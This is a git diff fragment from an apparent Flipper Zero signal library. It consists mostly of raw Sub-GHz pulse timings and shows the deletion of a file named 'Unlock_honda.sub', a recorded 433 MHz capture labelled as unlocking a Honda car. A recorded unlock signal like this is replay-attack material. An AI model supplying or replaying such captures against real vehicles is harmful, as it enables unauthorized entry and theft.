-70 288 -107 229 -72 84 -366 97 -205 111 -237 113 -196 209 -149 69 -80 145 -74 153 -142 173 -109 370 -72 103 -60 53 -205 105 -74 89 -97 141 -60 105 -52 292 -138 153 -148 76 -307 113 -86 137 -212 264 -126 51 -183 106 -201 88 -197 87 -164 79 -54 103 -157 149 -169 51 -64 53 -551 147 -130 127 -98 230 -162 53 -90 57 -70 187 -122 335 -54 77 -52 85 -80 143 -223 256 -187 51 -102 265 -170 142 -68 89 -52 69 -130 150 -160 99 -80 146 -196 91 -120 203 -237 105 -135 51 -60 202 -141 65 -58 161 -404 53 -123 71 -88 131 -115 69 -92 69 -79 53 -98 237 -93 61 -186 124 -189 94 -138 71 -275 53 -122 75 -133 229 -290 99 -172 61 -334 61 -114 57 -1108 73 -301 62 -201 51 -88 105 -312 51 -578 92 -1124 71 -64 53 -258 147 -88 106 -250 181 -208 67 -250 53 -591 81 -278 53 -198 95 -172 59 -106 119 -269 67 -599 51 -438 51 -408 51 -181 95 -78 53 -84 55 -386 87 -1172 61 -438 59 -334 111 -508 77 -372 132 -474 61 -402 85 -536 97 -115 71 -428 106 -188 135 -248 59 -303 104 -477 65 -415 116 -395 71 -56 51 -108 53 -206 65 -185 210 -577 166 -287 89 -151 239 -394 108 -119 89 -60 73 -158 107 -566 193 -67 67 -298 104 -171 61 -88 63 -107 79 -82 61 -82 53 -434 93 -125 75 -104 98 -551 82 -275 61 -66 75 -535 71 -142 159 -80 119 -75 59 -114 59 -82 81 -332 71 -62 65 -106 124 -62 61 -192 67 -592 65 -170 116 -329 132 -298 105 -128 51 -72 53 -122 53 -312 61 -122 81 -125 61 -291 59 -427 51 -515 53 -543 89 -353 91 -295 115 -187 97 -275 227 -335 1202 -54 71 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 -RAW_Data: 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 191 -404 107 -171 161 -320 71 -74 71 -104 59 -134 53 -434 59 -154 133 -341 53 -143 136 -197 148 -166 53 -122 79 -78 65 -222 65 -523 53 -239 53 -120 51 -154 77 -111 87 -94 81 -54 124 -167 81 -227 89 -263 85 -52 57 -122 90 -54 128 -376 126 -64 67 -52 75 -501 71 -248 61 -72 145 -116 79 -70 79 -433 53 -223 142 -364 51 -632 79 -264 61 -186 134 -382 92 -504 71 -190 69 -64 129 -342 71 -1037 69 -578 89 -126 105 -246 61 -98 57 -899 59 -221 51 -287 63 -593 75 -90 51 -227 57 -306 89 -60 96 -621 81 -54 146 -54 67 -84 70 -308 67 -144 124 -160 117 -298 101 -133 51 -617 105 -602 131 -360 197 -182 104 -206 63 -72 53 -54 71 -187 135 -194 59 -220 77 -178 95 -221 123 -104 186 -322 85 -102 71 -162 170 -261 104 -283 67 -326 69 -111 59 -300 53 -279 98 -365 63 -106 59 -179 127 -104 89 -213 69 -142 53 -131 89 -189 61 -116 63 -98 83 -215 152 -116 75 -260 107 -279 84 -88 75 -64 142 -227 67 -461 59 -566 79 -245 51 -884 -RAW_Data: 53 -146 154 -359 89 -329 81 -333 156 -197 104 -304 1089 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -64 61 -128 63 -62 63 -62 63 -64 63 -62 63 -64 127 -64 63 -64 61 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 127 -128 127 -126 127 -56 69 -126 127 -128 127 -128 55 -70 123 -66 61 -62 63 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -128 63 -62 63 -64 61 -64 63 -64 127 -128 127 -56 69 -62 63 -126 129 -128 127 -128 55 -70 61 -62 61 -64 127 -130 127 -56 69 -62 61 -64 63 -128 127 -128 63 -62 127 -64 61 -64 61 -128 63 -64 127 -128 63 -62 61 -64 127 -64 63 -62 63 -128 63 -62 127 -64 63 -62 63 -128 127 -128 127 -120 355 -54 51 -115 96 -288 121 -58 53 -95 77 -84 65 -112 59 -225 63 -211 63 -70 53 -597 61 -562 65 -111 99 -192 53 -84 57 -402 51 -136 79 -130 117 -151 77 -129 53 -86 53 -82 71 -107 61 -269 92 -363 53 -783 96 -118 79 -489 53 -118 73 -712 111 -114 51 -52 51 -70 53 -633 71 -871 73 -438 53 -92 253 -134 61 -147 59 -58 133 -497 99 -54 86 -58 75 -222 83 -218 94 -54 61 -162 51 -424 122 -72 100 -56 122 -58 75 -429 59 -239 81 -76 65 -530 75 -76 104 -239 82 -496 65 -154 63 -89 73 -539 125 -205 87 -93 122 -351 101 -123 53 -249 79 -134 107 -160 61 -72 95 -251 148 -382 59 -308 53 -270 111 -199 163 -255 82 -68 51 -120 53 -392 89 -896 79 -52 89 -102 109 -52 89 -90 53 -155 53 -207 59 -168 85 -134 75 -82 105 -60 114 -264 67 -52 53 -232 51 -74 178 -463 102 -577 157 -184 59 -138 51 -420 79 -160 201 -82 89 -328 75 -274 71 -56 106 -228 61 -140 67 -76 51 -277 -RAW_Data: 96 -365 88 -152 89 -76 81 -117 81 -72 107 -242 94 -207 83 -84 88 -62 111 -361 141 -324 81 -208 75 -104 67 -52 103 -106 171 -262 109 -255 125 -130 59 -116 88 -58 59 -238 73 -60 154 -248 53 -154 63 -224 61 -1191 53 -406 228 -133 89 -386 57 -100 124 -104 61 -82 95 -124 61 -86 78 -148 89 -677 89 -190 67 -419 51 -60 89 -241 132 -64 87 -387 65 -116 133 -302 61 -367 81 -125 79 -449 59 -770 61 -190 79 -58 155 -148 153 -399 57 -179 53 -303 292 -385 101 -106 99 -125 128 -254 69 -252 67 -89 122 -88 136 -144 160 -90 160 -100 103 -76 59 -92 107 -287 97 -108 69 -143 133 -192 88 -244 120 -68 153 -62 153 -68 97 -191 65 -69 161 -258 51 -113 89 -76 87 -223 53 -185 53 -183 55 -86 91 -54 138 -149 124 -352 115 -64 123 -119 67 -94 268 -88 57 -677 102 -167 146 -71 195 -64 115 -52 166 -52 116 -98 79 -250 89 -340 69 -147 59 -102 240 -232 61 -278 113 -76 65 -302 87 -393 51 -60 95 -138 188 -355 73 -146 103 -76 67 -403 59 -329 217 -68 95 -195 53 -54 67 -193 83 -204 77 -705 57 -246 67 -80 106 -124 83 -200 86 -211 71 -120 51 -156 79 -126 84 -190 53 -82 51 -95 53 -60 53 -118 195 -174 97 -519 51 -407 61 -464 103 -194 59 -304 51 -262 57 -270 96 -92 71 -409 73 -458 61 -194 53 -136 59 -979 152 -126 53 -156 59 -104 73 -396 71 -54 51 -185 92 -241 69 -187 59 -484 51 -452 81 -72 61 -134 59 -98 84 -62 134 -78 51 -806 232 -222 79 -167 167 -136 61 -619 53 -1214 79 -736 73 -224 88 -136 151 -128 83 -137 81 -62 59 -113 79 -210 53 -413 59 -85 59 -304 65 -133 93 -223 96 -275 118 -152 71 -110 53 -153 53 -124 51 -367 71 -400 75 -52 67 -108 59 -169 83 -188 53 -90 131 -270 98 -436 127 -162 53 -216 91 -304 53 -66 61 -215 59 -75 55 -136 107 -239 71 -460 51 -198 103 -90 59 -840 61 -90 59 -355 71 -52 75 -126 213 -162 71 -94 107 -98 53 -466 51 -74 138 -103 93 -114 121 -412 67 -82 59 -156 88 -432 113 -244 118 -578 57 -80 89 -62 71 -345 185 -102 89 -54 128 -112 61 -332 53 -237 59 -68 57 -182 251 -151 53 -82 51 -56 141 -84 51 -108 169 -54 324 -327 81 -135 53 -52 341 -80 153 -90 95 -198 138 -68 57 -54 121 -76 225 -76 320 -113 212 -82 77 -114 53 -77 143 -64 53 -96 53 -151 -RAW_Data: 142 -148 53 -149 53 -219 103 -165 97 -142 65 -115 59 -189 123 -72 51 -213 71 -74 61 -94 117 -158 79 -64 95 -95 142 -87 172 -70 140 -88 83 -145 99 -80 106 -171 93 -54 154 -76 94 -235 67 -62 79 -111 89 -89 67 -106 67 -64 71 -111 89 -62 57 -97 265 -126 137 -175 75 -112 55 -76 51 -84 89 -80 152 -202 222 -86 128 -162 110 -88 51 -133 67 -73 82 -119 79 -54 65 -147 127 -74 93 -72 102 -134 207 -268 79 -562 71 -278 89 -406 77 -98 81 -98 75 -312 53 -163 59 -219 61 -60 140 -104 116 -461 57 -191 61 -165 171 -518 69 -194 96 -150 71 -89 61 -280 63 -247 73 -188 59 -501 63 -118 51 -1184 61 -106 87 -98 71 -141 78 -545 142 -428 250 -594 53 -74 97 -343 71 -1049 53 -126 53 -203 150 -64 111 -377 165 -559 51 -510 142 -136 53 -290 82 -475 95 -194 89 -220 107 -90 59 -295 89 -479 61 -493 292 -246 89 -719 71 -561 115 -304 51 -579 115 -138 51 -54 51 -1095 168 -206 97 -104 150 -52 61 -499 53 -211 65 -620 79 -100 107 -68 88 -98 107 -106 79 -859 53 -112 151 -425 124 -62 85 -104 166 -259 71 -100 55 -87 53 -100 87 -102 53 -172 63 -633 79 -717 61 -750 141 -112 53 -371 113 -58 79 -858 77 -226 63 -203 71 -128 99 -74 57 -383 51 -328 61 -278 65 -372 93 -596 105 -446 71 -428 67 -76 59 -279 53 -281 94 -207 103 -355 87 -141 172 -164 178 -162 87 -222 153 -103 53 -160 89 -491 124 -100 67 -426 53 -425 63 -147 133 -114 98 -330 83 -216 77 -183 69 -54 71 -128 113 -54 111 -144 101 -52 112 -157 69 -221 151 -216 141 -982 119 -409 59 -518 67 -98 83 -72 89 -353 89 -252 61 -54 51 -70 65 -338 132 -166 105 -66 61 -172 116 -165 82 -429 148 -263 67 -92 55 -196 51 -238 94 -178 119 -769 59 -277 53 -172 88 -64 186 -74 51 -253 83 -630 59 -255 53 -144 69 -299 69 -121 232 -76 110 -100 67 -68 77 -197 81 -197 53 -261 61 -522 61 -257 61 -110 61 -130 55 -80 73 -201 51 -545 53 -62 98 -54 115 -314 55 -218 89 -235 93 -319 129 -621 67 -89 85 -691 71 -607 105 -481 53 -362 61 -161 53 -259 113 -206 51 -213 59 -656 75 -481 142 -240 51 -135 61 -755 51 -95 53 -150 106 -98 53 -100 67 -249 79 -191 132 -184 101 -115 130 -92 80 -608 65 -280 59 -98 53 -301 51 -231 200 -76 57 -64 81 -118 124 -427 61 -106 -RAW_Data: 114 -76 172 -86 142 -224 53 -141 79 -181 124 -86 59 -124 53 -169 53 -291 124 -100 61 -114 53 -430 61 -54 117 -178 81 -62 135 -133 107 -94 51 -117 71 -104 55 -312 134 -316 83 -348 59 -452 63 -583 85 -250 106 -280 169 -473 59 -399 73 -78 53 -283 51 -56 218 -126 63 -150 51 -330 57 -134 65 -158 53 -192 67 -173 114 -293 76 -227 138 -242 55 -254 67 -1185 57 -426 409 -550 65 -58 98 -369 96 -178 55 -348 105 -213 67 -367 53 -182 130 -258 75 -235 71 -102 53 -367 55 -318 67 -112 53 -399 101 -603 51 -269 69 -102 155 -175 61 -136 143 -161 81 -89 116 -198 69 -219 117 -224 53 -671 104 -256 75 -133 77 -132 127 -54 94 -78 51 -96 88 -292 53 -547 124 -274 98 -58 53 -203 53 -453 159 -228 51 -84 71 -174 113 -312 103 -76 53 -232 53 -54 87 -215 206 -161 79 -54 88 -224 89 -122 168 -681 99 -552 73 -600 53 -359 83 -214 73 -772 206 -151 125 -283 69 -212 61 -244 117 -326 142 -544 71 -114 83 -68 186 -104 53 -126 90 -255 53 -248 51 -181 77 -94 89 -84 71 -411 71 -64 97 -798 111 -340 141 -407 69 -86 102 -106 61 -94 99 -532 84 -249 61 -116 53 -606 51 -66 67 -333 53 -579 55 -115 51 -130 73 -754 61 -58 55 -99 53 -134 198 -113 51 -325 57 -528 53 -699 81 -60 71 -211 69 -80 51 -200 77 -62 75 -266 78 -78 119 -185 73 -116 51 -147 96 -223 67 -195 98 -130 73 -336 53 -603 88 -108 104 -108 115 -68 51 -746 89 -321 77 -204 81 -98 59 -253 57 -128 67 -356 88 -60 129 -281 79 -388 79 -766 97 -106 67 -313 71 -126 215 -463 51 -357 106 -78 53 -80 136 -70 131 -94 222 -146 55 -452 81 -268 97 -58 55 -241 143 -172 53 -141 63 -54 88 -873 51 -262 98 -629 68 -237 81 -54 73 -462 61 -552 79 -152 51 -315 156 -76 57 -191 99 -304 122 -187 71 -128 94 -189 75 -68 141 -322 95 -636 94 -164 55 -327 87 -184 53 -147 53 -52 57 -470 103 -159 53 -452 59 -288 81 -278 87 -291 71 -88 65 -277 73 -917 53 -466 110 -430 111 -247 103 -227 51 -92 105 -148 186 -70 63 -143 65 -560 128 -130 51 -127 53 -415 124 -142 95 -594 97 -124 61 -806 63 -180 61 -82 59 -212 59 -695 79 -249 175 -504 77 -296 51 -139 53 -286 53 -62 79 -137 65 -92 133 -81 89 -443 93 -52 51 -279 98 -188 75 -229 79 -214 53 -250 95 -646 53 -72 -RAW_Data: 149 -54 67 -300 85 -105 57 -185 89 -396 219 -1063 196 -344 110 -640 124 -571 75 -269 59 -100 71 -687 101 -60 79 -347 53 -178 94 -172 61 -490 63 -80 59 -180 61 -875 53 -201 90 -290 78 -240 65 -102 89 -807 59 -131 114 -896 55 -314 71 -287 79 -66 61 -102 135 -62 59 -56 90 -145 106 -1111 59 -116 63 -157 107 -296 53 -275 111 -462 83 -647 89 -215 61 -148 59 -155 63 -80 53 -90 61 -287 216 -178 104 -136 138 -195 79 -95 53 -92 178 -155 51 -140 51 -88 124 -290 57 -140 115 -128 65 -265 159 -120 59 -137 228 -187 85 -449 61 -68 51 -76 67 -232 75 -225 63 -285 88 -672 63 -296 69 -72 67 -467 71 -80 101 -84 57 -302 61 -471 81 -229 59 -379 191 -236 53 -84 90 -60 67 -213 51 -141 61 -224 71 -80 57 -60 51 -135 114 -108 143 -201 53 -377 63 -60 59 -234 155 -511 81 -54 92 -804 51 -363 96 -128 99 -218 63 -331 95 -327 53 -258 55 -557 71 -126 59 -153 138 -578 87 -85 63 -148 182 -490 59 -1019 133 -574 67 -78 59 -410 81 -1500 134 -133 59 -186 115 -361 51 -895 51 -146 57 -104 184 -78 71 -88 73 -540 88 -90 57 -518 51 -126 99 -461 96 -598 63 -256 71 -611 53 -187 142 -454 61 -72 115 -505 73 -221 53 -338 61 -479 149 -90 129 -220 67 -230 59 -271 61 -54 97 -138 96 -298 69 -233 90 -154 171 -200 161 -344 97 -168 89 -455 67 -108 333 -378 53 -267 132 -393 59 -237 53 -58 59 -156 194 -76 75 -268 55 -119 94 -557 124 -518 76 -402 150 -100 73 -129 82 -530 51 -370 196 -329 133 -108 51 -265 61 -225 79 -52 70 -266 107 -203 250 -254 51 -397 69 -310 160 -175 132 -78 53 -316 59 -197 57 -433 67 -124 103 -64 94 -269 128 -748 79 -72 51 -70 83 -729 57 -76 67 -54 119 -173 67 -210 95 -939 53 -527 84 -294 107 -115 65 -90 94 -250 53 -104 95 -64 87 -240 67 -610 63 -835 59 -94 115 -204 114 -98 55 -168 51 -686 147 -193 67 -235 57 -74 67 -104 59 -78 93 -74 96 -267 242 -163 59 -319 63 -196 59 -186 151 -56 90 -293 53 -415 53 -389 168 -250 125 -230 116 -72 66 -593 107 -150 115 -174 53 -60 83 -154 96 -90 115 -540 61 -54 105 -72 63 -222 83 -243 120 -88 112 -144 125 -392 79 -240 61 -122 156 -143 53 -285 51 -160 73 -90 73 -710 96 -87 51 -110 73 -62 96 -60 59 -198 77 -433 167 -497 73 -132 96 -241 -RAW_Data: 85 -128 91 -66 85 -231 97 -238 162 -166 67 -420 69 -307 262 -62 120 -665 178 -118 53 -93 59 -116 89 -231 53 -444 51 -126 61 -266 53 -450 59 -68 59 -52 89 -234 123 -319 95 -136 89 -156 139 -254 61 -396 61 -332 93 -88 51 -302 104 -97 77 -104 91 -286 78 -126 61 -125 59 -225 199 -223 61 -106 87 -284 57 -589 51 -455 79 -336 71 -490 126 -375 130 -383 77 -268 188 -630 67 -149 69 -168 51 -90 57 -176 53 -172 115 -255 130 -194 51 -202 59 -497 63 -220 61 -54 61 -54 53 -260 53 -437 93 -203 63 -307 99 -392 163 -307 67 -176 51 -132 172 -132 69 -255 110 -296 131 -108 63 -449 63 -455 53 -406 59 -353 90 -177 51 -120 124 -790 75 -168 71 -108 115 -118 122 -62 65 -363 69 -165 53 -119 100 -199 173 -56 97 -188 194 -162 51 -122 65 -188 79 -172 114 -351 129 -605 77 -245 61 -62 87 -62 61 -62 180 -72 113 -159 51 -605 84 -529 63 -177 126 -574 53 -62 110 -653 69 -167 59 -90 89 -186 119 -235 71 -160 63 -520 51 -74 165 -443 119 -396 109 -112 69 -280 71 -270 172 -74 53 -349 119 -576 68 -581 51 -82 59 -477 79 -70 190 -486 59 -294 86 -291 69 -1075 180 -80 71 -206 157 -265 53 -1405 106 -1158 59 -411 59 -428 69 -448 63 -552 92 -142 269 -186 191 -126 63 -297 59 -82 241 -166 75 -52 59 -82 59 -52 53 -142 71 -117 115 -380 53 -124 157 -105 67 -70 59 -357 65 -240 81 -669 53 -98 89 -132 137 -795 71 -152 170 -328 51 -96 119 -586 61 -101 212 -126 71 -144 89 -432 129 -82 71 -106 87 -284 112 -202 51 -477 59 -399 55 -72 121 -350 119 -58 71 -581 97 -241 88 -91 57 -356 79 -74 80 -548 53 -52 51 -258 51 -197 89 -244 79 -477 133 -407 98 -142 97 -215 53 -356 53 -304 53 -895 53 -116 120 -488 96 -56 55 -887 71 -202 168 -158 67 -427 103 -98 242 -312 53 -250 99 -112 51 -90 127 -76 97 -359 98 -359 51 -733 87 -482 75 -167 67 -70 53 -126 55 -598 104 -289 89 -238 74 -112 71 -70 51 -150 77 -188 55 -203 61 -276 204 -266 77 -126 57 -257 53 -174 83 -138 53 -146 51 -580 53 -58 53 -275 65 -319 87 -54 106 -54 89 -82 80 -76 229 -90 103 -238 59 -223 88 -60 125 -164 53 -153 53 -66 176 -98 61 -177 124 -76 53 -590 69 -375 85 -317 105 -461 71 -263 71 -644 85 -82 63 -134 71 -132 71 -142 61 -241 75 -400 -RAW_Data: 118 -223 79 -212 115 -256 71 -52 97 -601 161 -201 119 -440 85 -78 138 -669 61 -378 57 -608 51 -89 156 -271 55 -239 64 -387 93 -84 51 -115 69 -128 69 -729 71 -122 75 -368 51 -447 63 -391 99 -128 59 -376 133 -255 197 -1146 53 -144 57 -248 51 -352 51 -72 104 -178 172 -229 53 -176 53 -347 83 -252 55 -204 74 -135 118 -198 53 -82 94 -215 93 -378 53 -819 97 -88 78 -469 95 -90 59 -556 88 -254 246 -82 120 -236 59 -768 92 -74 125 -64 51 -201 141 -68 53 -113 83 -174 59 -213 59 -223 81 -387 98 -188 53 -379 53 -74 155 -218 96 -388 124 -470 131 -56 53 -108 81 -515 53 -387 71 -287 152 -331 110 -190 120 -52 59 -186 131 -271 59 -283 203 -88 73 -1222 67 -93 69 -75 124 -170 81 -76 89 -310 85 -78 73 -202 160 -62 69 -122 59 -106 88 -72 61 -169 79 -222 115 -60 53 -52 51 -52 51 -340 61 -706 63 -72 59 -286 116 -254 97 -166 67 -698 108 -348 103 -102 75 -189 53 -294 88 -265 87 -182 53 -188 116 -168 81 -118 80 -107 95 -916 104 -246 65 -654 59 -62 81 -767 186 -52 248 -160 75 -124 63 -70 51 -314 51 -285 61 -181 124 -247 53 -64 53 -521 57 -112 91 -66 59 -158 71 -614 61 -371 122 -150 123 -210 96 -76 89 -186 55 -311 51 -794 71 -545 53 -446 59 -60 51 -134 117 -120 158 -273 51 -214 115 -58 51 -310 100 -54 81 -479 51 -136 79 -90 51 -159 69 -542 51 -440 53 -328 120 -54 71 -111 250 -598 53 -82 61 -245 97 -610 92 -310 204 -184 97 -212 61 -104 91 -436 61 -82 53 -80 83 -182 135 -619 73 -520 67 -66 75 -321 110 -255 83 -462 61 -82 83 -115 85 -164 75 -299 61 -104 71 -52 61 -597 79 -160 71 -111 307 -153 87 -175 51 -409 93 -82 107 -219 59 -206 69 -152 67 -82 106 -180 120 -134 65 -84 61 -275 87 -60 75 -428 86 -182 145 -143 75 -84 51 -1149 71 -168 53 -92 51 -704 103 -294 102 -264 168 -115 107 -197 69 -310 78 -70 73 -132 61 -112 71 -315 127 -568 89 -82 73 -292 53 -512 116 -208 77 -1276 79 -213 67 -519 221 -82 59 -653 124 -64 59 -467 73 -537 103 -184 97 -482 93 -142 51 -991 63 -164 89 -78 83 -98 75 -259 51 -248 103 -967 67 -166 77 -167 81 -233 65 -164 51 -190 51 -548 95 -166 67 -140 51 -1661 82 -366 53 -562 69 -114 102 -170 67 -395 73 -313 51 -601 63 -131 153 -146 71 -189 diff --git a/assets/resources/subghz/Vehicles/Misc/Unlock_honda.sub b/assets/resources/subghz/Vehicles/Misc/Unlock_honda.sub deleted file mode 100644 index f0bee34ca..000000000 --- a/assets/resources/subghz/Vehicles/Misc/Unlock_honda.sub +++ /dev/null @@ -1,95 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433657070 -Preset: FuriHalSubGhzPresetCustom -Custom_preset_module: CC1101 -Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 36 10 69 15 32 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00 -Protocol: RAW -RAW_Data: 190 -224 73 -320 59 -149 99 -92 59 -176 95 -222 204 -98 113 -215 79 -195 89 -66 53 -449 121 -241 62 -1140 96 -162 97 -1189 57 -419 71 -183 135 -76 97 -299 51 -341 67 -221 53 -60 106 -116 77 -141 77 -76 109 -457 74 -724 74 -409 94 -162 55 -294 96 -321 88 -106 61 -90 79 -461 67 -527 53 -462 53 -365 89 -377 126 -92 116 -165 65 -254 75 -559 67 -257 81 -188 57 -500 53 -54 71 -120 63 -268 165 -197 83 -80 53 -126 77 -965 67 -82 73 -305 57 -313 61 -62 57 -62 81 -180 53 -102 97 -89 116 -284 110 -135 79 -178 89 -94 63 -330 65 -321 59 -98 65 -150 53 -161 71 -361 53 -416 152 -76 82 -352 53 -335 67 -1264 61 -552 105 -201 55 -118 53 -62 87 -217 63 -246 61 -68 67 -308 97 -149 81 -290 69 -60 170 -606 86 -115 188 -162 85 -203 53 -72 59 -72 161 -148 67 -210 87 -199 81 -646 99 -174 81 -100 51 -98 65 -236 87 -102 88 -678 71 -100 61 -182 85 -276 121 -739 78 -228 129 -483 51 -208 59 -112 59 -335 255 -204 67 -136 98 -336 59 -158 53 -507 51 -360 149 -657 123 -409 71 -247 53 -78 59 -102 53 -814 104 -370 67 -206 139 -94 85 -72 94 -637 71 -209 142 -54 61 -78 86 -138 59 -128 103 -892 205 -469 53 -243 156 -52 61 -126 136 -126 51 -276 61 -100 152 -507 63 -98 173 -116 67 -200 93 -120 91 -760 55 -78 53 -97 71 -183 105 -191 71 -124 81 -79 53 -106 65 -240 65 -100 98 -414 108 -182 97 -152 96 -666 76 -72 107 -82 53 -90 53 -168 65 -197 99 -230 59 -82 126 -222 71 -172 103 -158 122 -488 53 -205 57 -152 67 -211 105 -588 51 -72 53 -254 209 -162 77 -104 53 -193 89 -72 51 -209 71 -200 69 -482 63 -142 98 -262 67 -114 53 -165 61 -72 53 -117 67 -160 150 -62 59 -80 168 -349 100 -326 268 -660 59 -350 124 -80 184 -176 69 -80 102 -158 236 -369 69 -82 111 -108 71 -90 53 -174 167 -137 53 -66 89 -104 89 -72 51 -118 63 -239 99 -367 116 -429 75 -171 79 -134 151 -246 95 -133 117 -167 122 -120 73 -135 67 -313 53 -68 63 -80 71 -317 95 -144 71 -297 180 -98 113 -416 61 -172 137 -185 73 -262 61 -172 57 -289 103 -158 150 -216 71 -276 61 -312 80 -206 51 -174 53 -98 69 -68 129 -265 113 -52 51 -58 65 -227 167 -302 79 -54 79 -134 63 -161 53 -97 51 -144 79 -100 133 -305 81 -110 81 -841 -RAW_Data: 89 -68 51 -316 57 -106 69 -543 79 -76 142 -86 59 -315 63 -314 124 -678 80 -97 160 -322 173 -275 115 -260 111 -636 89 -294 69 -400 117 -500 67 -104 154 -237 79 -227 87 -190 101 -153 67 -674 156 -355 94 -214 63 -90 61 -114 59 -160 53 -532 61 -396 192 -676 59 -90 69 -80 81 -112 51 -213 55 -64 214 -54 69 -484 126 -106 53 -180 61 -554 75 -121 79 -76 51 -128 89 -202 67 -255 67 -430 51 -52 55 -323 71 -92 67 -315 83 -82 71 -170 53 -113 53 -146 69 -676 51 -178 115 -82 51 -70 59 -206 75 -340 53 -126 166 -152 122 -247 111 -76 51 -120 59 -205 89 -187 65 -138 162 -119 171 -95 67 -345 57 -195 93 -98 53 -64 149 -64 230 -231 79 -503 63 -198 67 -239 79 -202 59 -56 212 -374 67 -1006 108 -499 59 -66 67 -96 91 -417 133 -217 51 -480 59 -166 67 -276 61 -68 59 -313 166 -250 174 -168 109 -100 53 -209 67 -83 69 -104 67 -256 112 -102 73 -425 59 -96 55 -190 61 -86 104 -162 197 -417 61 -60 51 -120 129 -487 59 -70 181 -174 114 -188 89 -660 89 -112 149 -52 104 -154 97 -284 115 -562 112 -336 63 -161 112 -119 53 -239 112 -140 133 -126 67 -82 51 -229 71 -72 67 -98 87 -384 95 -330 128 -222 51 -168 96 -104 75 -78 180 -277 59 -240 55 -83 51 -208 81 -224 107 -311 53 -187 112 -426 117 -260 105 -257 59 -54 71 -191 102 -205 89 -116 136 -208 159 -204 121 -70 107 -60 124 -108 134 -54 106 -118 61 -132 53 -192 63 -139 81 -234 89 -174 53 -126 270 -393 81 -54 59 -80 111 -206 67 -135 74 -188 117 -54 53 -149 130 -122 105 -102 57 -131 65 -114 71 -445 107 -284 95 -90 53 -198 273 -467 96 -288 51 -663 57 -125 74 -66 79 -104 67 -145 105 -58 327 -112 129 -142 51 -601 53 -106 80 -337 61 -718 119 -352 71 -842 53 -100 57 -345 124 -300 143 -171 53 -84 59 -58 71 -98 69 -114 78 -412 59 -489 111 -52 91 -640 61 -673 186 -205 85 -173 124 -110 96 -484 96 -432 65 -269 103 -232 176 -62 80 -147 81 -172 61 -762 74 -285 61 -390 53 -393 61 -482 51 -960 239 -134 73 -1948 106 -946 53 -475 97 -161 73 -329 71 -164 81 -495 93 -652 63 -54 77 -64 104 -383 53 -64 53 -211 81 -106 75 -596 59 -66 215 -60 51 -90 90 -244 132 -458 59 -574 71 -262 53 -90 71 -80 99 -540 51 -108 110 -118 61 -900 105 -383 172 -90 69 -289 -RAW_Data: 71 -90 93 -219 73 -116 55 -62 180 -229 82 -74 75 -70 59 -450 63 -393 105 -320 51 -1060 217 -441 270 -308 119 -322 114 -672 134 -313 68 -60 53 -142 75 -232 57 -106 83 -84 77 -126 63 -447 61 -297 93 -80 105 -456 71 -338 53 -112 121 -76 232 -54 79 -950 51 -88 120 -104 107 -98 59 -200 184 -308 71 -403 53 -449 73 -74 125 -199 134 -207 53 -385 59 -295 71 -114 89 -86 94 -430 61 -82 124 -54 89 -833 61 -156 89 -82 211 -387 69 -132 61 -1364 59 -511 53 -96 129 -302 57 -177 99 -509 168 -201 63 -512 127 -339 128 -549 71 -321 137 -257 71 -117 71 -584 79 -177 143 -814 81 -790 103 -371 71 -90 89 -387 100 -124 81 -124 106 -79 53 -261 53 -186 103 -168 51 -630 59 -170 51 -52 67 -72 59 -174 61 -154 173 -102 81 -374 63 -100 85 -641 53 -154 97 -336 61 -133 51 -276 341 -412 74 -167 57 -184 85 -54 51 -212 77 -228 75 -152 223 -107 81 -225 81 -320 102 -66 97 -396 53 -72 165 -62 59 -263 67 -134 53 -156 130 -154 75 -264 69 -128 153 -316 69 -157 207 -229 65 -333 77 -593 59 -60 51 -197 100 -150 106 -278 53 -665 153 -342 61 -72 59 -90 53 -302 55 -377 71 -224 53 -92 130 -140 61 -177 51 -339 